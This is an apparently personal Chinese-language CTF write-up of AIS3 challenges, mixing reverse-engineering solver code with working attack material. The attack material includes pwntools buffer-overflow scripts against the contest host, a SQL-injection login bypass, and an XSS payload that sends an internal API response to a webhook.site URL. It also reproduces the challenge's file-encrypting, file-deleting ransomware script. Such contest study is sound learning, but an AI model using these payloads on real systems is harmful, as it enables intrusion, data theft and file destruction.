Simple Reverse

https://www.youtube.com/watch?v=Usn6FCXIhvk&t=150s
我有印象寫過類似題 看過上面的影片
想說複習一下 angr 跟 Z3 結果題目一模一樣
直接照抄 code 就解出來了
順利拿下首殺 XD

Simple Pwn

在 ghidra 中會看到
iStack_c = read(0,(long)&uStack_50 + 1,0x100);
可以 bof 並且也有一個 function 是執行 bin/sh 的
所以直接用 pwntools

1
2
3
4
5
6
7
from pwn import *
#r = process('./pwn')
r = remote("chals1.ais3.org", 11111)
r.recvuntil(b"Show me your name:")
targer_address = p64(0x4017ad)
r.sendline(b'A' * (0x50 - 1) + targer_address)
r.interactive()

Fernet

把 code 丟給 ChatGPT 要他生成解答 code 就跑出來了

Login Panel

輸入 admin 跟 ‘or 1=1– 之後進入
並且修改網址列 因為它登入以後 帳號就是 admin 了
之後就能拿到 Flag 了

Robot

寫腳本去做字串拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

r = remote("chals1.ais3.org", 12348)

r.recvuntil("!")
q = r.recvline()
for j in range(90):
q = r.recvline()
print(q)
a1 = ""
a2 = ""
chk = 0
c = ""
for i in q:
if(chk == 0 and i >= ord("0") and i <= ord("9")):
a1 += chr(i)
elif(chk == 1 and i >= ord("0") and i <= ord("9")):
a2 += chr(i)
elif(i == 43 or i == 45 or i == 42 or i == 47):
c = chr(i)
chk = 1

if c == '*':
result = str(int(a1) * int(a2))
print(result)
r.sendline(result.encode())

if c == '+':
result = str(int(a1) + int(a2))
print(result)
r.sendline(result.encode())


r.interactive()

聽說有陷阱 但我沒碰到就是了

Flag Sleeper

這題用 Ghidra 打開看起來特別亂
但用 IDA 就很直觀 不知道為啥 超怪
他的運算就是一個 v9[i] ^ v10[i]
然後有一個 v8 決定他的順序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#include <bits/stdc++.h>

using namespace std;

int v8[0x34];
int v9[0x34];
int v10[0x34];


int main() {
v8[0] = 10;
v8[1] = 12;
v8[2] = 28;
v8[3] = 7;
v8[4] = 38;
v8[5] = 31;
v8[6] = 47;
v8[7] = 44;
v8[8] = 42;
v8[9] = 35;
v8[10] = 48;
v8[11] = 30;
v8[12] = 21;
v8[13] = 11;
v8[14] = 17;
v8[15] = 16;
v8[16] = 34;
v8[17] = 40;
v8[18] = 33;
v8[19] = 39;
v8[20] = 41;
v8[21] = 9;
v8[22] = 22;
v8[23] = 4;
v8[24] = 6;
v8[25] = 20;
v8[26] = 19;
v8[27] = 46;
v8[28] = 23;
v8[29] = 45;
v8[30] = 26;
v8[31] = 0;
v8[32] = 15;
v8[33] = 3;
v8[34] = 8;
v8[35] = 43;
v8[36] = 14;
v8[37] = 5;
v8[38] = 2;
v8[39] = 27;
v8[40] = 49;
v8[41] = 1;
v8[42] = 51;
v8[43] = 36;
v8[44] = 37;
v8[45] = 24;
v8[46] = 25;
v8[47] = 50;
v8[48] = 32;
v8[49] = 13;
v8[50] = 29;
v8[51] = 18;
v9[0] = 212;
v9[1] = 232;
v9[2] = 164;
v9[3] = 28;
v9[4] = 253;
v9[5] = 132;
v9[6] = 194;
v9[7] = 47;
v9[8] = 46;
v9[9] = 150;
v9[10] = 96;
v9[11] = 216;
v9[12] = 121;
v9[13] = 216;
v9[14] = 140;
v9[15] = 164;
v9[16] = 49;
v9[17] = 219;
v9[18] = 147;
v9[19] = 252;
v9[20] = 201;
v9[21] = 28;
v9[22] = 9;
v9[23] = 188;
v9[24] = 155;
v9[25] = 79;
v9[26] = 133;
v9[27] = 255;
v9[28] = 104;
v9[29] = 20;
v9[30] = 87;
v9[31] = 64;
v9[32] = 147;
v9[33] = 143;
v9[34] = 68;
v9[35] = 147;
v9[36] = 142;
v9[37] = 96;
v9[38] = 165;
v9[39] = 244;
v9[40] = 62;
v9[41] = 58;
v9[42] = 119;
v9[43] = 25;
v9[44] = 61;
v9[45] = 56;
v9[46] = 71;
v9[47] = 182;
v9[48] = 7;
v9[49] = 37;
v9[50] = 1;
v9[51] = 154;
v10[0] = 237;
v10[1] = 217;
v10[2] = 212;
v10[3] = 40;
v10[4] = 149;
v10[5] = 219;
v10[6] = 165;
v10[7] = 112;
v10[8] = 29;
v10[9] = 241;
v10[10] = 8;
v10[11] = 189;
v10[12] = 13;
v10[13] = 224;
v10[14] = 211;
v10[15] = 149;
v10[16] = 5;
v10[17] = 184;
v10[18] = 255;
v10[19] = 207;
v10[20] = 162;
v10[21] = 122;
v10[22] = 86;
v10[23] = 199;
v10[24] = 170;
v10[25] = 122;
v10[26] = 240;
v10[27] = 206;
v10[28] = 9;
v10[29] = 102;
v10[30] = 102;
v10[31] = 1;
v10[32] = 163;
v10[33] = 188;
v10[34] = 119;
v10[35] = 225;
v10[36] = 239;
v10[37] = 3;
v10[38] = 246;
v10[39] = 153;
v10[40] = 9;
v10[41] = 115;
v10[42] = 10;
v10[43] = 70;
v10[44] = 94;
v10[45] = 103;
v10[46] = 52;
v10[47] = 137;
v10[48] = 97;
v10[49] = 29;
v10[50] = 109;
v10[51] = 208;
string s = "";
map<int, int> mp;
for(int i = 0; i < 52; i++) {
mp[v8[i]] = i;
}
for(int i = 0; i < 52; i++) {
s += char(v10[i] ^ v9[i]);
}
cout << mp[0] << '\n';

for(int i = 0; i < 52; i++) {
cout << s[mp[i]];
}
cout << s[31];
}

我用 map 去跑啦 因為比較熟悉

ManagementSystem

在刪除帳號那邊會有一個 gets 可以跳任意 Function
不過我測試好像他一定要創建一個用戶才能啟用
中間我有踩一個坑
原本是用 ghidra 的地址複製貼上上去直接用
但是會跳到那個 Function 但是卻會 EOF 而不是 get shell
後面改用 ELF 就解決了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
rom pwn import *

r = remote('chals1.ais3.org', 10003)
elf = ELF("./ms")

r.recvuntil(b">")

r.sendline(b"1")
r.recvuntil(b":")
r.sendline(b"1")
r.recvuntil(b":")
r.sendline(b"1")
r.recvuntil(b":")
r.sendline(b"1")

r.recvuntil(b">")
r.sendline(b"3")
a = r.recvuntil(b": ")
print(a)
addr = elf.symbols['secret_function']

payload = b'a' * (0x67) + p64(addr)
r.send(payload)

r.interactive()

Welcome

應該不用說吧
就直接看 owo

AIS3 ransomware

打開發現他會生成一個 node.exe 跟一個 js 黨
後面利用 x32dbg 暫停後發現 node.exe 就單純是一個執行 node 的檔案而已
然後 js 看起來非常複雜
所以我又丟給 ChatGPT 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
const fs = require('fs');
const path = require('path');

function encrypt(key, plaintext) {
let s = [];
let j = 0;
let x;
let result = '';

for (let i = 0; i < 256; i++) {
s[i] = i;
}

for (let i = 0; i < 256; i++) {
j = (j + s[i] + key.charCodeAt(i % key.length)) % 256;
x = s[i];
s[i] = s[j];
s[j] = x;
}

let i = 0;
j = 0;

for (let k = 0; k < plaintext.length; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
x = s[i];
s[i] = s[j];
s[j] = x;
result += String.fromCharCode(plaintext.charCodeAt(k) ^ s[(s[i] + s[j]) % 256]);
}

return result;
}

const getFilePathsRecursive = function (folderPath, filePaths) {
let files = fs.readdirSync(folderPath);
filePaths = filePaths || [];

files.forEach(function (filename) {
let fullPath = path.join(folderPath, filename);

if (fs.statSync(fullPath).isDirectory()) {
filePaths = getFilePathsRecursive(fullPath, filePaths);
} else {
filePaths.push(path.join(__dirname, folderPath, filename));
}
});

return filePaths;
};

let key = process.argv.slice(2)[0];
let filePaths = getFilePathsRecursive('./target_ais3', []);

filePaths.forEach(function (filePath) {
if (filePath.includes('.ais3')) {
return;
}

fs.readFile(filePath, 'utf8', (err, data) => {
if (err) {
return;
}

if (data.includes('AIS3')) {
data += 'AIS3AIS3AIS3AIS3AIS3';
let encryptedData = Buffer.from(encrypt(key, data)).toString('base64');
fs.writeFile(filePath + '.ais3', encryptedData, (err) => {});
fs.unlinkSync(filePath);
}
});
});

並讓他生成解密 Function 不過分析後發現他還需要一個 Key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function decrypt(key, cipherText) {
var S = [], j = 0, temp, plaintext = '';
for (var i = 0; i < 256; i++) {
S[i] = i;
}
for (i = 0; i < 256; i++) {
j = (j + S[i] + key.charCodeAt(i % key.length)) % 256;
temp = S[i];
S[i] = S[j];
S[j] = temp;
}
i = 0;
j = 0;
for (var k = 0; k < cipherText.length; k++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
temp = S[i];
S[i] = S[j];
S[j] = temp;
plaintext += String.fromCharCode(cipherText.charCodeAt(k) ^ S[(S[i] + S[j]) % 256]);
}
return plaintext;
}

他執行主要會是 ./node.exe a.js key
因此我就用 x32dbg 在 87% 的時候暫停
並且用 F8 來步進 當時我猜他的 Key 一定會出現在 register 裡面所以就慢慢跑過去
結果還真的被我找到了
把 key 複製下來 用來解密 這題就解出來了

E-Portfolio baby

他會是一個頁面
然後 admin 會瀏覽該網頁
因此我就猜是否可以用 XSS
之後我就用 webhook 來收資料
確實收到了 並且也標示說他主機是 http://web:8000
因此我讓他把本機 8000 port 的 portfolio 路徑的東西輸出出來
就拿到 Flag 了
然後我原本以為後面還有 結果拿到的密碼就是 Flag 很不明顯==

1
<img src=test onerror="fetch('http://web:8000/api/portfolio').then((response) => response.text()).then((text) => {fetch('https://webhook.site/af72bd92-e9b5-470b-bf39-749e3598c332?a='+text)})">

Vivid Emotion

利用 ghidra 的 export 功能 讓他輸出 cpp code
並寫腳本把有包含 Return 的字串抽出來
後面手工排除其他的
並且使用 vscode 修改 return 讓他變成 s.add
; 變成 )

就能夠用 z3 快速解出答案了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
from z3 import *

arr = [BitVec(f'arr{i}', 16) for i in range(333)]

s = Solver()

s.add(arr[194] + arr[39] == 400)
s.add(arr[129] + arr[70] == 0x11d)
s.add(arr[260] + arr[234] == 0x148)
s.add(arr[294] + arr[254] == 0x135)
s.add(arr[304] + arr[48] == 0x89)
s.add(arr[233] + arr[211] == 0x107)
s.add(arr[178] + arr[103] == 0x10b)
s.add(arr[314] + arr[303] == 0x166)
s.add(arr[141] + arr[37] == 0x125)
s.add(arr[23] + arr[0] == 0x1a4)
s.add(arr[275] + arr[186] == 200)
s.add(arr[55] + arr[27] == 0x1a4)
s.add(arr[203] + arr[97] == 0x109)
s.add(arr[240] + arr[58] == 0x38)
s.add(arr[225] + arr[72] == 0x52)
s.add(arr[255] + arr[71] == 0x5f)
s.add(arr[326] + arr[234] == 0xd4)
s.add(arr[62] + arr[60] == 0x119)
s.add(arr[207] + arr[159] == 0xeb)
s.add(arr[316] + arr[291] == 0x1a0)
s.add(arr[207] + arr[174] == 0x196)
s.add(arr[219] + arr[112] == 0xa0)
s.add(arr[288] + arr[20] == 0xed)
s.add(arr[331] + arr[63] == 0x136)
s.add(arr[227] + arr[70] == 0x185)
s.add(arr[321] + arr[1] == 0x4d)
s.add(arr[122] + arr[34] == 0x68)
s.add(arr[286] + arr[265] == 0xde)
s.add(arr[208] + arr[138] == 0x184)
s.add(arr[280] + arr[154] == 0x137)
s.add(arr[307] + arr[109] == 0x19a)
s.add(arr[100] + arr[56] == 0x15b)
s.add(arr[281] + arr[146] == 0x170)
s.add(arr[229] + arr[209] == 0x54)
s.add(arr[277] + arr[220] == 0x4b)
s.add(arr[61] + arr[51] == 0xef)
s.add(arr[261] + arr[195] == 0xdb)
s.add(arr[289] + arr[162] == 0x43)
s.add(arr[80] + arr[8] == 0x129)
s.add(arr[263] + arr[52] == 0x117)
s.add(arr[230] + arr[226] == 0x25)
s.add(arr[245] + arr[5] == 0x4a)
s.add(arr[297] + arr[52] == 0x11e)
s.add(arr[308] + arr[83] == 0xec)
s.add(arr[191] + arr[55] == 0x1ae)
s.add(arr[117] + arr[17] == 0x15a)
s.add(arr[228] + arr[38] == 0x154)
s.add(arr[245] + arr[30] == 0x5c)
s.add(arr[169] + arr[126] == 0x1aa)
s.add(arr[218] + arr[180] == 199)
s.add(arr[183] + arr[156] == 0x146)
s.add(arr[154] + arr[111] == 0x14b)
s.add(arr[158] + arr[59] == 0x162)
s.add(arr[307] + arr[15] == 0x157)
s.add(arr[179] + arr[114] == 0x122)
s.add(arr[241] + arr[145] == 299)
s.add(arr[135] + arr[86] == 0x14e)
s.add(arr[147] + arr[73] == 0xe5)
s.add(arr[298] + arr[166] == 0x108)
s.add(arr[269] + arr[115] == 0x3c)
s.add(arr[301] + arr[94] == 0x179)
s.add(arr[200] + arr[198] == 0x3b)
s.add(arr[264] + arr[97] == 0xf1)
s.add(arr[213] + arr[71] == 0xa9)
s.add(arr[252] + arr[142] == 0x22)
s.add(arr[161] + arr[62] == 0x10f)
s.add(arr[202] + arr[192] == 0x139)
s.add(arr[205] + arr[36] == 0x96)
s.add(arr[332] + arr[330] == 0x101)
s.add(arr[243] + arr[122] == 0x62)
s.add(arr[293] + arr[189] == 0x6e)
s.add(arr[315] + arr[86] == 0x12a)
s.add(arr[283] + arr[231] == 0xb0)
s.add(arr[286] + arr[134] == 0xa8)
s.add(arr[75] + arr[54] == 0x76)
s.add(arr[137] + arr[25] == 0xcf)
s.add(arr[235] + arr[16] == 0xd8)
s.add(arr[317] + arr[290] == 0x8d)
s.add(arr[130] + arr[124] == 0xb7)
s.add(arr[283] + arr[256] == 0x185)
s.add(arr[330] + arr[278] == 0x78)
s.add(arr[261] + arr[91] == 0x17e)
s.add(arr[260] + arr[174] == 0x199)
s.add(arr[309] + arr[131] == 0xf7)
s.add(arr[322] + arr[279] == 99)
s.add(arr[222] + arr[124] == 0xbf)
s.add(arr[263] + arr[156] == 0x146)
s.add(arr[236] + arr[232] == 0x43)
s.add(arr[321] + arr[31] == 0x51)
s.add(arr[210] + arr[89] == 0xce)
s.add(arr[185] + arr[10] == 0x13f)
s.add(arr[265] + arr[31] == 0x80)
s.add(arr[150] + arr[14] == 0xf6)
s.add(arr[219] + arr[13] == 0xa2)
s.add(arr[175] + arr[147] == 0xae)
s.add(arr[182] + arr[2] == 0x32)
s.add(arr[74] + arr[66] == 0x138)
s.add(arr[314] + arr[223] == 0x103)
s.add(arr[222] + arr[59] == 0x92)
s.add(arr[241] + arr[13] == 0x12a)
s.add(arr[324] + arr[299] == 0xe5)
s.add(arr[221] + arr[82] == 0x6b)
s.add(arr[320] + arr[75] == 0xad)
s.add(arr[257] + arr[9] == 0x128)
s.add(arr[238] + arr[201] == 0x13a)
s.add(arr[183] + arr[67] == 0x1d8)
s.add(arr[138] + arr[80] == 0x150)
s.add(arr[331] + arr[110] == 0x106)
s.add(arr[233] + arr[93] == 0xd8)
s.add(arr[88] + arr[82] == 0x9d)
s.add(arr[285] + arr[29] == 0x1bc)
s.add(arr[152] + arr[96] == 0x137)
s.add(arr[99] + arr[81] == 0xb8)
s.add(arr[202] + arr[108] == 0x13f)
s.add(arr[189] + arr[22] == 0xf8)
s.add(arr[215] + arr[85] == 0xe4)
s.add(arr[128] + arr[117] == 0x10c)
s.add(arr[196] + arr[193] == 0x175)
s.add(arr[106] + arr[41] == 0xf1)
s.add(arr[258] + arr[194] == 0xc1)
s.add(arr[327] + arr[254] == 0x147)
s.add(arr[87] + arr[73] == 0x172)
s.add(arr[290] + arr[78] == 0x14a)
s.add(arr[85] + arr[12] == 0x129)
s.add(arr[284] + arr[120] == 0x59)
s.add(arr[218] + arr[177] == 0xe1)
s.add(arr[116] + arr[53] == 0xfb)
s.add(arr[164] + arr[153] == 0x9d)
s.add(arr[197] + arr[79] == 0x12a)
s.add(arr[162] + arr[145] == 0x65)
s.add(arr[250] + arr[203] == 0xe5)
s.add(arr[167] + arr[78] == 0x1e4)
s.add(arr[280] + arr[114] == 0x148)
s.add(arr[323] + arr[35] == 0xe9)
s.add(arr[301] + arr[19] == 0xed)
s.add(arr[239] + arr[87] == 0x119)
s.add(arr[299] + arr[7] == 0xb1)
s.add(arr[252] + arr[72] == 0x37)
s.add(arr[318] + arr[302] == 0x158)
s.add(arr[310] + arr[249] == 0xe8)
s.add(arr[171] + arr[38] == 0x12a)
s.add(arr[91] + arr[45] == 0x155)
s.add(arr[242] + arr[33] == 0x1a3)
s.add(arr[268] + arr[181] == 0xc2)
s.add(arr[25] + arr[12] == 0x19c)
s.add(arr[247] + arr[205] == 0x134)
s.add(arr[186] + arr[180] == 0xdf)
s.add(arr[296] + arr[190] == 0x1ec)
s.add(arr[168] + arr[22] == 0x139)
s.add(arr[262] + arr[102] == 0x160)
s.add(arr[294] + arr[173] == 0x9c)
s.add(arr[251] + arr[200] == 0x7a)
s.add(arr[206] + arr[105] == 0x15d)
s.add(arr[253] + arr[227] == 0xf0)
s.add(arr[100] + arr[61] == 0x171)
s.add(arr[167] + arr[6] == 0x1a4)
s.add(arr[269] + arr[248] == 0xba)
s.add(arr[65] + arr[3] == 0x10a)
s.add(arr[208] + arr[35] == 0x181)
s.add(arr[315] + arr[176] == 0xa8)
s.add(arr[267] + arr[90] == 0x1de)
s.add(arr[285] + arr[240] == 0x116)
s.add(arr[319] + arr[313] == 0x157)
s.add(arr[264] + arr[148] == 0x39)
s.add(arr[328] + arr[132] == 0xcd)
s.add(arr[258] + arr[41] == 0x5a)
s.add(arr[221] + arr[195] == 0x6f)
s.add(arr[246] + arr[155] == 0xe9)
s.add(arr[295] + arr[95] == 0xd7)
s.add(arr[98] + arr[74] == 0xf8)
s.add(arr[226] + arr[5] == 0x37)
s.add(arr[102] + arr[92] == 0x121)
s.add(arr[248] + arr[214] == 0xac)
s.add(arr[256] + arr[120] == 0x10c)
s.add(arr[173] + arr[109] == 0x111)
s.add(arr[238] + arr[47] == 0x7d)
s.add(arr[212] + arr[170] == 0x15a)
s.add(arr[273] + arr[29] == 0x137)
s.add(arr[305] + arr[224] == 0x115)
s.add(arr[306] + arr[66] == 0x107)
s.add(arr[149] + arr[141] == 0x187)
s.add(arr[239] + arr[50] == 0xda)
s.add(arr[142] + arr[32] == 0xc4)
s.add(arr[328] + arr[103] == 0x46)
s.add(arr[199] + arr[175] == 0xb7)
s.add(arr[300] + arr[270] == 0xe7)
s.add(arr[225] + arr[104] == 0x10d)
s.add(arr[306] + arr[199] == 0xe8)
s.add(arr[236] + arr[159] == 0x2b)
s.add(arr[143] + arr[24] == 0x1d3)
s.add(arr[272] + arr[270] == 0xdf)
s.add(arr[302] + arr[281] == 0x1a6)
s.add(arr[292] + arr[198] == 0xf6)
s.add(arr[132] + arr[51] == 0x103)
s.add(arr[197] + arr[115] == 0xb5)
s.add(arr[309] + arr[153] == 0xcb)
s.add(arr[332] + arr[125] == 0x17d)
s.add(arr[244] + arr[63] == 0x165)
s.add(arr[217] + arr[188] == 0xfb)
s.add(arr[274] + arr[211] == 0x109)
s.add(arr[237] + arr[57] == 0x12f)
s.add(arr[291] + arr[28] == 0x1a1)
s.add(arr[244] + arr[33] == 0x1a2)
s.add(arr[144] + arr[127] == 0xab)
s.add(arr[101] + arr[77] == 0x17a)
s.add(arr[289] + arr[149] == 0xbe)
s.add(arr[324] + arr[11] == 0xf9)
s.add(arr[50] + arr[23] == 0x121)
s.add(arr[131] + arr[128] == 0x12d)
s.add(arr[179] + arr[119] == 0x136)
s.add(arr[54] + arr[4] == 0x7d)
s.add(arr[322] + arr[196] == 0x10d)
s.add(arr[230] + arr[4] == 0x23)
s.add(arr[139] + arr[40] == 0x78)
s.add(arr[318] + arr[99] == 0x11f)
s.add(arr[237] + arr[1] == 0x73)
s.add(arr[18] + arr[10] == 0x88)
s.add(arr[229] + arr[43] == 0xe8)
s.add(arr[166] + arr[26] == 0x162)
s.add(arr[215] + arr[127] == 0xe4)
s.add(arr[105] + arr[15] == 0x177)
s.add(arr[293] + arr[46] == 0xcc)
s.add(arr[228] + arr[89] == 0x1c7)
s.add(arr[317] + arr[267] == 0x11a)
s.add(arr[295] + arr[150] == 99)
s.add(arr[300] + arr[146] == 0x116)
s.add(arr[271] + arr[81] == 0x7a)
s.add(arr[220] + arr[165] == 0xf6)
s.add(arr[257] + arr[64] == 0xd4)
s.add(arr[133] + arr[93] == 0x99)
s.add(arr[181] + arr[129] == 0x6f)
s.add(arr[266] + arr[184] == 0xb0)
s.add(arr[329] + arr[311] == 0x83)
s.add(arr[123] + arr[39] == 0x139)
s.add(arr[325] + arr[242] == 0xf8)
s.add(arr[191] + arr[126] == 0x199)
s.add(arr[176] + arr[160] == 0x101)
s.add(arr[214] + arr[190] == 0xfb)
s.add(arr[246] + arr[185] == 0xc6)
s.add(arr[26] + arr[18] == 0x6d)
s.add(arr[143] + arr[104] == 0x1ce)
s.add(arr[64] + arr[56] == 0x111)
s.add(arr[118] + arr[30] == 0x102)
s.add(arr[313] + arr[76] == 0x9d)
s.add(arr[266] + arr[139] == 0xad)
s.add(arr[118] + arr[111] == 0x1a8)
s.add(arr[44] + arr[6] == 0x19c)
s.add(arr[65] + arr[7] == 0x149)
s.add(arr[48] + arr[43] == 0x146)
s.add(arr[76] + arr[32] == 0xb0)
s.add(arr[152] + arr[112] == 300)
s.add(arr[177] + arr[42] == 0x121)
s.add(arr[151] + arr[116] == 0xb7)
s.add(arr[305] + arr[209] == 0x10b)
s.add(arr[308] + arr[57] == 0x131)
s.add(arr[136] + arr[119] == 0x166)
s.add(arr[251] + arr[14] == 0x13f)
s.add(arr[297] + arr[47] == 0x11d)
s.add(arr[243] + arr[216] == 0x76)
s.add(arr[165] + arr[130] == 0xc2)
s.add(arr[296] + arr[168] == 0x18b)
s.add(arr[303] + arr[92] == 0x138)
s.add(arr[204] + arr[158] == 0x107)
s.add(arr[135] + arr[46] == 0x125)
s.add(arr[276] + arr[45] == 0x169)
s.add(arr[235] + arr[101] == 0x188)
s.add(arr[187] + arr[16] == 0x4d)
s.add(arr[316] + arr[201] == 0x1b8)
s.add(arr[292] + arr[90] == 0x1bd)
s.add(arr[42] + arr[36] == 0xcc)
s.add(arr[123] + arr[21] == 0xb7)
s.add(arr[319] + arr[134] == 0xf7)
s.add(arr[232] + arr[216] == 0x7d)
s.add(arr[224] + arr[77] == 0x10c)
s.add(arr[287] + arr[84] == 0x1e1)
s.add(arr[178] + arr[53] == 0x1a7)
s.add(arr[250] + arr[60] == 0x11b)
s.add(arr[247] + arr[106] == 0x188)
s.add(arr[277] + arr[163] == 0xfd)
s.add(arr[213] + arr[155] == 0x173)
s.add(arr[44] + arr[37] == 0x127)
s.add(arr[231] + arr[192] == 0x9b)
s.add(arr[171] + arr[110] == 0x10e)
s.add(arr[204] + arr[17] == 0x106)
s.add(arr[212] + arr[20] == 0x174)
s.add(arr[325] + arr[271] == 0x71)
s.add(arr[188] + arr[40] == 0x9d)
s.add(arr[275] + arr[262] == 0x118)
s.add(arr[312] + arr[136] == 0x152)
s.add(arr[311] + arr[68] == 0xb1)
s.add(arr[279] + arr[137] == 0x26)
s.add(arr[304] + arr[24] == 0x109)
s.add(arr[125] + arr[9] == 0x177)
s.add(arr[172] + arr[113] == 0x3e)
s.add(arr[217] + arr[28] == 0x19e)
s.add(arr[288] + arr[268] == 0xf1)
s.add(arr[19] + arr[8] == 0xec)
s.add(arr[157] + arr[94] == 0xfc)
s.add(arr[133] + arr[58] == 0x8c)
s.add(arr[223] + arr[49] == 0xe2)
s.add(arr[253] + arr[84] == 0x150)
s.add(arr[98] + arr[3] == 0x1a)
s.add(arr[187] + arr[160] == 0xe0)
s.add(arr[206] + arr[96] == 0xec)
s.add(arr[327] + arr[249] == 0x103)
s.add(arr[95] + arr[88] == 0xff)
s.add(arr[161] + arr[67] == 0x162)
s.add(arr[326] + arr[278] == 0xb9)
s.add(arr[163] + arr[157] == 0x121)
s.add(arr[329] + arr[287] == 0x169)
s.add(arr[276] + arr[140] == 0x1c9)
s.add(arr[184] + arr[121] == 0x1f)
s.add(arr[182] + arr[11] == 0x99)
s.add(arr[121] + arr[69] == 0x3d)
s.add(arr[284] + arr[148] == 0x42)
s.add(arr[310] + arr[2] == 0x8d)
s.add(arr[210] + arr[49] == 0x93)
s.add(arr[320] + arr[272] == 0xfa)
s.add(arr[193] + arr[107] == 0x191)
s.add(arr[172] + arr[107] == 0xce)
s.add(arr[282] + arr[164] == 0xc0)
s.add(arr[140] + arr[113] == 0x114)
s.add(arr[27] + arr[21] == 0x144)
s.add(arr[274] + arr[108] == 0x146)
s.add(arr[255] + arr[151] == 0xd6)
s.add(arr[273] + arr[68] == 0x112)
s.add(arr[259] + arr[83] == 0x8d)
s.add(arr[312] + arr[259] == 0x92)
s.add(arr[79] + arr[0] == 0x195)
s.add(arr[170] + arr[144] == 0xce)
s.add(arr[169] + arr[34] == 0x11a)
s.add(arr[282] + arr[69] == 0xb2)
s.add(arr[323] + arr[298] == 0x32)



print(s.check())
m = s.model()

for i in range(333):
print(m[arr[i]].as_long())

然後我原本 bitvec 開 8 會錯
後面開 16 才解出答案

後面是一些有想法但腦霧的

eert 我有看到他要等於 0x27e3
然後先輸入 170 之後可以輸入 100 次
然後應該會把他加總起來
但是看到這邊我沒有繼續靜態分析==
直接用 gdb 看 register 但是他跑到 cmp 的時候卻都顯示出一樣的值
害我整個不知道該怎麼解==

還有 Pacman
原本打開發現他很快 以為用 Cheat Engine 的 SpeedHack 解開第一關就有 Flag 了
但是並沒有 CE 的 SpeedHack 一點用也沒有 我用 x64dbg 弄上去突然又正常了
打完第一關沒 Flag 後就沒有繼續解了
不過我用 CE 想要拿分數卻拿不到 好像是因為它分數是 /10 以後存的
當初腦霧沒有想要繼續嘗試QQ
而且連靜態分析都沒弄 解一個早上跟下午的題後腦袋真的會運轉不過來QQ 希望以後能夠避免這個問題==